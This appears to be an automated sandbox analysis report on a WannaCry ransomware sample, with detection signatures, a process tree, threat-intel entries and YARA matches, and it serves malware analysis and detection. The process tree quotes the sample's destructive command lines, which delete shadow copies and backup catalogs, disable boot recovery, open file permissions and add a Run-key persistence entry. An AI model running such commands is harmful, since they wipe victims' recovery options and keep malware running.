Edit tour

Windows Analysis Report
WannaCry.bin.zip

Overview

General Information

Sample name:	WannaCry.bin.zip
Analysis ID:	1525431
MD5:	ea519b09029a4f50fa287b56ff0a4ced
SHA1:	de8247d49aa8b8f036afe47838044bdf6abc8f3d
SHA256:	03c844091ab3980e0ae13be2e456c3e00cfa3971139b53b95850db37757a9e84
Infos:

Detection

Conti, Wannacry

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for dropped file

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Sigma detected: Delete shadow copy via WMIC

Yara detected Conti ransomware

Yara detected Wannacry ransomware

Command shell drops VBS files

Creates files in the recycle bin to hide itself

Deletes shadow drive data (may be related to ransomware)

Drops PE files to the document folder of the user

Found Tor onion address

Installs TOR (Internet Anonymizer)

May use the Tor software to hide its network traffic

Modifies existing user documents (likely ransomware behavior)

Moves itself to temp directory

Sigma detected: Shadow Copies Deletion Using Operating Systems Utilities

Tries to harvest and steal browser information (history, passwords, etc)

Uses bcdedit to modify the Windows boot settings

Uses cmd line tools excessively to alter registry or file data

Writes many files with high entropy

Writes to foreign memory regions

Abnormal high CPU Usage

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Dropped file seen in connection with other malware

Drops PE files

Drops files with a non-matching file extension (content does not match file extension)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

IP address seen in connection with other malware

Installs a Chrome extension

May sleep (evasive loops) to hinder dynamic analysis

PE file contains executable resources (Code or Archives)

PE file contains more sections than normal

PE file contains sections with non-standard names

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Direct Autorun Keys Modification

Sigma detected: Potential Persistence Attempt Via Run Keys Using Reg.EXE

Sigma detected: Startup Folder File Write

Sigma detected: Suspicious Copy From or To System Directory

Sigma detected: Uncommon Svchost Parent Process

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Sleep loop found (likely to delay execution)

Suricata IDS alerts with low severity for network traffic

Uses cacls to modify the permissions of files

Uses reg.exe to modify the Windows registry

Yara signature match

Classification

Process Tree

System is w10x64_ra

rundll32.exe (PID: 6928 cmdline: C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding MD5: EF3179D498793BF4234F708D3BE28633)

7zG.exe (PID: 1092 cmdline: "C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\user\Desktop\" -an -ai#7zMap23742:84:7zEvent9207 MD5: 50F289DF0C19484E970849AAC4E6F977)

WannaCry.exe (PID: 7080 cmdline: "C:\Users\user\Desktop\WannaCry.exe" MD5: 84C82835A5D21BBCF75A61706D8AB549)

attrib.exe (PID: 548 cmdline: attrib +h . MD5: 0E938DD280E83B1596EC6AA48729C2B0)

conhost.exe (PID: 6000 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

icacls.exe (PID: 4464 cmdline: icacls . /grant Everyone:F /T /C /Q MD5: 2E49585E4E08565F52090B144062F97E)

conhost.exe (PID: 2792 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

backgroundTaskHost.exe (PID: 7148 cmdline: "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppX4325622ft6437f3xfywcfxgbedfvpn0x.mca MD5: DA7063B17DBB8BBB3015351016868006)

backgroundTaskHost.exe (PID: 4256 cmdline: "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:CortanaUI.AppX3bn25b6f886wmg6twh46972vprk9tnbf.mca MD5: DA7063B17DBB8BBB3015351016868006)

taskdl.exe (PID: 2132 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 6372 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

cmd.exe (PID: 1252 cmdline: C:\Windows\system32\cmd.exe /c 7551728024260.bat MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6208 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cscript.exe (PID: 3644 cmdline: cscript.exe //nologo m.vbs MD5: CB601B41D4C8074BE8A84AED564A94DC)

taskdl.exe (PID: 5708 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 1388 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 6344 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 512 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 800 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 6392 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 1420 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 5904 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 400 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 2360 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 3856 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 3412 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 1884 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 1928 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 1320 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 2184 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 4376 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 2312 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 2328 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 3164 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 3600 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 3584 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 3648 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 5216 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 4528 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 3916 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 1288 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 4724 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 4280 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 3892 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 5780 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 5496 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 5844 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 4464 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 5796 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 2240 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 552 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 4408 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 2344 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 1456 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 4284 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 2980 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 6532 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 4300 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 3644 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 1252 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 3896 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 6272 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 512 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 3748 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 344 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

@WanaDecryptor@.exe (PID: 4928 cmdline: @WanaDecryptor@.exe co MD5: 7BF2B57F2A205768755C07F238FB32CC)

taskhsvc.exe (PID: 6940 cmdline: TaskData\Tor\taskhsvc.exe MD5: FE7EB54691AD6E6AF77F8A9A0B6DE26D)

conhost.exe (PID: 3132 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskdl.exe (PID: 5140 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

cmd.exe (PID: 5048 cmdline: cmd.exe /c start /b @WanaDecryptor@.exe vs MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 3616 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

@WanaDecryptor@.exe (PID: 1112 cmdline: @WanaDecryptor@.exe vs MD5: 7BF2B57F2A205768755C07F238FB32CC)

cmd.exe (PID: 3604 cmdline: "C:\Windows\SysWOW64\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6156 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WMIC.exe (PID: 2836 cmdline: wmic shadowcopy delete MD5: E2DE6500DE1148C7F6027AD50AC8B891)

@WanaDecryptor@.exe (PID: 4924 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

cmd.exe (PID: 6220 cmdline: cmd.exe /c reg add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "hdahtimfel691" /t REG_SZ /d "\"C:\Users\user\Desktop\tasksche.exe\"" /f MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 1488 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

reg.exe (PID: 1740 cmdline: reg add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "hdahtimfel691" /t REG_SZ /d "\"C:\Users\user\Desktop\tasksche.exe\"" /f MD5: CDD462E86EC0F20DE2A1D781928B1B0C)

taskdl.exe (PID: 2896 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

consent.exe (PID: 1244 cmdline: consent.exe 6008 686 000002152F62E5C0 MD5: DD5032EF160209E470E2612A8A3D5F59)

svchost.exe (PID: 6008 cmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

@WanaDecryptor@.exe (PID: 2516 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

taskdl.exe (PID: 5400 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

@WanaDecryptor@.exe (PID: 2156 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

taskdl.exe (PID: 2300 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

@WanaDecryptor@.exe (PID: 2496 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

@WanaDecryptor@.exe (PID: 3456 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

taskdl.exe (PID: 2328 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

@WanaDecryptor@.exe (PID: 6252 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

@WanaDecryptor@.exe (PID: 3460 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

taskdl.exe (PID: 3648 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

@WanaDecryptor@.exe (PID: 7056 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

@WanaDecryptor@.exe (PID: 1156 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

@WanaDecryptor@.exe (PID: 2644 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

taskdl.exe (PID: 3964 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

@WanaDecryptor@.exe (PID: 3540 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

taskdl.exe (PID: 3564 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

@WanaDecryptor@.exe (PID: 5448 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

@WanaDecryptor@.exe (PID: 3116 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

@WanaDecryptor@.exe (PID: 3724 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

taskdl.exe (PID: 604 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

@WanaDecryptor@.exe (PID: 1324 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

@WanaDecryptor@.exe (PID: 4464 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

taskdl.exe (PID: 5796 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

@WanaDecryptor@.exe (PID: 1824 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

@WanaDecryptor@.exe (PID: 2828 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

taskdl.exe (PID: 7124 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

@WanaDecryptor@.exe (PID: 7048 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

@WanaDecryptor@.exe (PID: 6528 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

taskdl.exe (PID: 4496 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

@WanaDecryptor@.exe (PID: 4296 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

@WanaDecryptor@.exe (PID: 2100 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

@WanaDecryptor@.exe (PID: 7084 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

taskdl.exe (PID: 3644 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

@WanaDecryptor@.exe (PID: 6344 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

@WanaDecryptor@.exe (PID: 6648 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

taskdl.exe (PID: 6272 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

@WanaDecryptor@.exe (PID: 2028 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

@WanaDecryptor@.exe (PID: 2748 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

taskdl.exe (PID: 4932 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

@WanaDecryptor@.exe (PID: 5132 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

@WanaDecryptor@.exe (PID: 644 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

taskdl.exe (PID: 1420 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

@WanaDecryptor@.exe (PID: 640 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

@WanaDecryptor@.exe (PID: 1544 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

taskdl.exe (PID: 2736 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

@WanaDecryptor@.exe (PID: 2724 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

@WanaDecryptor@.exe (PID: 1820 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

taskdl.exe (PID: 2212 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

@WanaDecryptor@.exe (PID: 2516 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

@WanaDecryptor@.exe (PID: 2156 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

taskdl.exe (PID: 2740 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

@WanaDecryptor@.exe (PID: 3268 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

taskdl.exe (PID: 4376 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

@WanaDecryptor@.exe (PID: 3428 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

@WanaDecryptor@.exe (PID: 3760 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

taskdl.exe (PID: 3456 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

@WanaDecryptor@.exe (PID: 6268 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

@WanaDecryptor@.exe (PID: 5556 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

taskdl.exe (PID: 6252 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

@WanaDecryptor@.exe (PID: 3680 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

@WanaDecryptor@.exe (PID: 5432 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

taskdl.exe (PID: 4528 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

@WanaDecryptor@.exe (PID: 1520 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

@WanaDecryptor@.exe (PID: 4704 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

taskdl.exe (PID: 1112 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

@WanaDecryptor@.exe (PID: 704 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

@WanaDecryptor@.exe (PID: 2644 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

taskdl.exe (PID: 3540 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

@WanaDecryptor@.exe (PID: 3892 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

@WanaDecryptor@.exe (PID: 5448 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

taskdl.exe (PID: 6968 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

@WanaDecryptor@.exe (PID: 2296 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

@WanaDecryptor@.exe (PID: 3164 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

taskdl.exe (PID: 1324 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

@WanaDecryptor@.exe (PID: 6900 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

@WanaDecryptor@.exe (PID: 1276 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

taskdl.exe (PID: 380 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

@WanaDecryptor@.exe (PID: 1212 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

@WanaDecryptor@.exe (PID: 4184 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

taskdl.exe (PID: 7124 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

@WanaDecryptor@.exe (PID: 7048 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

@WanaDecryptor@.exe (PID: 1032 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

taskdl.exe (PID: 6224 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

@WanaDecryptor@.exe (PID: 4300 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

@WanaDecryptor@.exe (PID: 6196 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

taskdl.exe (PID: 2100 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

@WanaDecryptor@.exe (PID: 3720 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

@WanaDecryptor@.exe (PID: 5568 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

taskdl.exe (PID: 3644 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

@WanaDecryptor@.exe (PID: 4792 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

@WanaDecryptor@.exe (PID: 5932 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

taskdl.exe (PID: 3792 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

@WanaDecryptor@.exe (PID: 4440 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

@WanaDecryptor@.exe (PID: 6588 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

@WanaDecryptor@.exe (PID: 5016 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

taskdl.exe (PID: 2028 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

@WanaDecryptor@.exe (PID: 4968 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

taskdl.exe (PID: 1048 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

@WanaDecryptor@.exe (PID: 5060 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

@WanaDecryptor@.exe (PID: 6264 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

taskdl.exe (PID: 3856 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

@WanaDecryptor@.exe (PID: 1304 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

@WanaDecryptor@.exe (PID: 400 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

taskdl.exe (PID: 5584 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

@WanaDecryptor@.exe (PID: 1480 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

@WanaDecryptor@.exe (PID: 1884 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

taskdl.exe (PID: 2176 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

@WanaDecryptor@.exe (PID: 2300 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

@WanaDecryptor@.exe (PID: 2512 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

taskdl.exe (PID: 1976 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

@WanaDecryptor@.exe (PID: 2388 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

@WanaDecryptor@.exe (PID: 348 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

taskdl.exe (PID: 5444 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

@WanaDecryptor@.exe (PID: 6676 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Conti, Conti Lock	Conti is an extremely damaging ransomware due to the speed with which it encrypts data and spreads to other systems. It was first observed in 2020 and it is thought to be led by a Russia-based cybercrime group that goes under the Wizard Spider pseudonym. In early May 2022, the US government announced a reward of up to $10 million for information on the Conti ransomware gang.	No Attribution	http://chuongdong.com/reverse%20engineering/2020/12/15/ContiRansomware/ https://0xthreatintel.medium.com/reversing-conti-ransomware-bfce15019e74 https://analyst1.com/blog/ransom-mafia-analysis-of-the-worlds-first-ransomware-cartel https://analyst1.com/file-assets/RANSOM-MAFIA-ANALYSIS-OF-THE-WORLD%E2%80%99S-FIRST-RANSOMWARE-CARTEL.pdf https://arcticwolf.com/resources/blog/conti-and-akira-chained-together/	https://malpedia.caad.fkie.fraunhofer.de/details/win.conti

Name	Description	Attribution	Blogpost URLs	Link
WannaCryptor, WannaCry, WannaCrypt		Lazarus Group	http://blog.emsisoft.com/2017/05/12/wcry-ransomware-outbreak/ http://www.independent.co.uk/news/uk/home-news/wannacry-malware-hack-nhs-report-cybercrime-north-korea-uk-ben-wallace-a8022491.html https://baesystemsai.blogspot.de/2017/05/wanacrypt0r-ransomworm.html https://blog.avast.com/ransomware-that-infected-telefonica-and-nhs-hospitals-is-spreading-aggressively-with-over-50000-attacks-so-far-today https://blog.comae.io/wannacry-decrypting-files-with-wanakiwi-demo-86bafb81112d	https://malpedia.caad.fkie.fraunhofer.de/details/win.wannacryptor

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
WannaCry.bin	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
WannaCry.bin	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0xf4fc:$x1: icacls . /grant Everyone:F /T /C /Q 0x342d41:$x2: taskdl.exe 0x35962d:$x2: taskdl.exe 0xf4d8:$x3: tasksche.exe 0xf4b4:$x4: Global\MsWinZonesCacheCounterMutexA 0xf52c:$x5: WNcry@2ol7 0xf4fc:$x9: icacls . /grant Everyone:F /T /C /Q 0x359d91:$s2: Windows 10 --> 0xf42c:$s3: cmd.exe /c "%s" 0x41980:$s4: msg/m_portuguese.wnry 0x3591ff:$s4: msg/m_portuguese.wnry 0x2a02:$op4: 09 FF 76 30 50 FF 56 2C 59 59 47 3B 7E 0C 7C 0x26dc:$op5: C1 EA 1D C1 EE 1E 83 E2 01 83 E6 01 8D 14 56 0x22c8:$op6: 8D 48 FF F7 D1 8D 44 10 FF 23 F1 23 C1
